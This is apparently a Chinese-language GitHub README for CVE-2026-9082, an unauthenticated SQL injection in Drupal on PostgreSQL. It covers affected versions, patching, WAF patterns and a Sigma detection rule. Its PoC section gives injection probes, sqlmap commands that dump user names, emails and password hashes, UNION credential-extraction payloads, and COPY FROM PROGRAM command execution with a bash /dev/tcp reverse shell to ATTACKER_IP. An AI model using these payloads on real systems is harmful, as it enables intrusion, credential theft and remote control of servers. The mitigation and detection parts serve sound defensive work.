lysophavin18/cve-2026-9082
GitHub: lysophavin18/cve-2026-9082
该项目是 CVE-2026-9082 的概念验证代码与分析文档,用于复现和检测 Drupal 核心在 PostgreSQL 后端的未授权 SQL 注入漏洞及其 RCE 利用链。
Stars: 0 | Forks: 0
# CVE-2026-9082
**类型**:SQL Injection (CWE-89)
**受影响产品**:Drupal Core (Database Abstraction API)
**Drupal 公告**:SA-CORE-2026-004
**发布日期**:2026年5月20日
**严重程度**:高度严重 (Drupal 20/25 | NVD CVSS 6.5)
## 漏洞简介
CVE-2026-9082 是 Drupal 核心 Database Abstraction API 中的一个 **SQL Injection** 漏洞。Drupal 的 DB 层封装了 PDO,并对所有查询进行无害化处理,防止其到达数据库。该漏洞**仅针对 PostgreSQL 后端**绕过了这种无害化处理——特殊构造的 HTTP 请求逃脱了规范化逻辑的检查,将攻击者控制的 SQL 片段直接注入到数据库查询中。
MySQL 和 MariaDB **不受**此注入向量的影响,尽管此补丁发布版也捆绑了适用于所有后端的关键 Symfony/Twig 修复。
## 受影响版本
| 分支 | 受影响版本 | 已修复版本 |
|---|---|---|
| Drupal 10.4.x / 8.9.x | 8.9.0–10.4.9 | 10.4.10 |
| Drupal 10.5.x | 10.5.0–10.5.9 | 10.5.10 |
| Drupal 10.6.x | 10.6.0–10.6.8 | 10.6.9 |
| Drupal 11.0.x–11.1.x | 11.0.0–11.1.9 | 11.1.10 |
| Drupal 11.2.x | 11.2.0–11.2.11 | 11.2.12 |
| Drupal 11.3.x | 11.3.0–11.3.9 | 11.3.10 |
**前提条件**:目标必须使用 PostgreSQL 作为其数据库后端。
## 技术原理
Drupal 的 DB 抽象层通过参数化查询/预处理语句对*值*进行无害化处理,但依赖查询构建器提供受信任的*结构性* SQL(字段名、操作符、ORDER BY 目标)。漏洞在于 PostgreSQL 驱动在构建查询时处理某些输入模式的方式——PostgreSQL 的 SQL 方言在关键方面与 MySQL 不同:
- 使用 `||` 进行字符串连接
- 使用 `::` 进行类型转换
- 美元符号引用 (Dollar-quoting)
- `COPY ... FROM PROGRAM` 命令
- 不同的操作符处理方式
精心构造的请求会引入能够通过 Drupal 值级无害化处理的字符/序列,但会被 PostgreSQL 解析器解释为 **结构性 SQL**。该攻击面**无需身份验证**即可通过任何将用户控制的参数传递到 DB 查询中的 endpoint 访问(如搜索、视图过滤器、表单提交、JSON:API 等)。
### 漏洞利用链
```
Attacker (unauthenticated)
|
|--> HTTP request with crafted parameter
| (e.g. search field, filter, form input)
|
v
Drupal DB Abstraction API
|
|--> Sanitization bypass (PostgreSQL-specific)
|
v
PostgreSQL executes injected SQL
|
|--> Information disclosure (dump entire DB)
|--> Privilege escalation (inject admin credentials)
|--> RCE (PostgreSQL COPY TO PROGRAM, lo_export, etc.)
```
## 危害性分析
1. **无需身份验证** — 任何面向互联网且使用 PostgreSQL 的 Drupal 站点均面临暴露风险
2. **RCE 潜力** — 如果 DB 用户具有超级用户权限,可通过 `COPY TO PROGRAM 'cmd'` 实现
3. **完整数据库访问** — 获取用户账号、密码哈希、会话 token、PII(个人身份信息)
4. **影响版本范围广** — 贯穿整个 Drupal 8/10/11 生命周期
5. **复合风险** — 同一补丁涵盖了 Twig SSTI;攻击者可以将 SQLi → 创建管理员 → SSTI 串联起来实现 RCE
Drupal 官方警告:*"漏洞利用程序可能会在披露后几小时或几天内被开发出来"*(与历史上 Drupal DB 层 CVE 如 SA-CORE-2014-005 / Drupalgeddon 的情况一致)。
## 概念验证 (PoC)(仅限授权实验室测试)
### 步骤 1:识别候选 endpoint
```
# 通过 DB abstraction layer 传递用户输入的 Endpoints
curl -s "https://target.drupal.site/search/node?keys=test"
curl -s "https://target.drupal.site/views/ajax"
curl -s "https://target.drupal.site/jsonapi/node/article"
```
### 步骤 2:检测 PostgreSQL 特定的注入
```
# 基于时间的(pg_sleep 仅适用于 PostgreSQL)
curl -s "https://target.drupal.site/search/node?keys=test%27%3Bselect+pg_sleep(5)--"
# 基于 Cast 的探测(:: 为 PostgreSQL 语法)
curl -s "https://target.drupal.site/search/node?keys=1::integer"
# 基于布尔的区分
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='1"
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='2"
```
### 步骤 3:自动化提取 (sqlmap, 授权测试)
```
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
--dbms=PostgreSQL \
--level=5 --risk=3 \
--technique=BEUST \
--tamper=space2comment,between \
--dbs
# 确认 injection 后导出凭据
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
--dbms=PostgreSQL \
-D drupal -T users_field_data \
-C name,mail,pass --dump
```
### 步骤 4:手动基于 UNION 的提取(概念性)
```
-- Fingerprint column count
test' ORDER BY 1--
test' ORDER BY 2-- -- increment until error
-- Extract credentials (PostgreSQL syntax)
test' UNION SELECT null,username,password FROM users_field_data--
-- Check if DB user is superuser
test' UNION SELECT null,current_user,null--
test' UNION SELECT null,usesuper::text,null FROM pg_user WHERE usename=current_user--
```
### 步骤 5:通过 COPY TO PROGRAM 实现 RCE(如果 DB 用户 = 超级用户)
```
CREATE TABLE cmd_out(output TEXT);
COPY cmd_out FROM PROGRAM 'id; uname -a';
SELECT * FROM cmd_out;
-- Reverse shell (replace ATTACKER_IP/PORT)
COPY cmd_out FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';
```
## 缓解措施
### 紧急处理:为 Drupal 打补丁
```
# Composer(推荐)
composer update drupal/core drupal/core-recommended
# 验证版本
php core/scripts/drupal --version
# 通过 Drush 进行 OR
drush updb && drush cr
```
### 数据库加固
```
-- Verify application DB user is NOT superuser
SELECT usename, usesuper FROM pg_user WHERE usename = 'drupal_app_user';
-- Should return usesuper = false
```
### WAF(仅为临时权宜之计 — 不能替代补丁修复)
拦截特征:`pg_sleep`、`COPY.*PROGRAM`、`::text`、`::integer`、`UNION.*SELECT`、`%27--`
### 网络
确保 PostgreSQL 仅绑定到 localhost 或私有网络接口;不可在公网访问。
## 检测信号
| 来源 | 信号 |
|---|---|
| Web 日志 | 查询字符串中出现 `pg_sleep`、`::`、`UNION SELECT`、`--`、`COPY PROGRAM` |
| PostgreSQL 日志 | 与 Web 请求时间戳相关联的语法错误 |
| Drupal watchdog | 来自 search/view/jsonapi endpoint 的 DB 异常 |
| auditd | `postgres` 派生子进程 (COPY TO PROGRAM) |
| Drupal 用户表 | 带有最新时间戳的新 `administrator` 角色记录 |
### Sigma 规则(检测)
```
title: Drupal CVE-2026-9082 SQL Injection Attempt
logsource:
category: webserver
detection:
selection:
cs-uri-query|contains:
- "pg_sleep"
- "UNION+SELECT"
- "::text"
- "::integer"
- "COPY+TO"
- "%27--"
filter:
cs-uri-stem|contains:
- "/search/"
- "/views/ajax"
- "/jsonapi/"
condition: selection and filter
level: high
tags: [attack.t1190, cve.2026.9082]
```
## 总结
CVE-2026-9082 是 Drupal Core 中针对 PostgreSQL 后端的一个**零身份验证 SQL injection** 漏洞。尽管 NVD CVSS 评分仅为中等的 6.5,但 Drupal 将其评为 20/25(高度严重),因为在配置不当的环境中,无需身份验证的访问 + PostgreSQL 的 COPY TO PROGRAM = 直接的 RCE。受影响版本范围广泛,加上捆绑的 Twig SSTI 修复,使其成为所有 Drupal 站点(尤其是使用 PostgreSQL 且面向互联网部署的站点)的**紧急关键补丁**。
**建议操作**:立即更新至您所使用分支的已修复版本。验证您的数据库应用用户不是 PostgreSQL 超级用户。
标签:CISA项目, Drupal, 多线程, 安全漏洞POC, 应用安全, 测试用例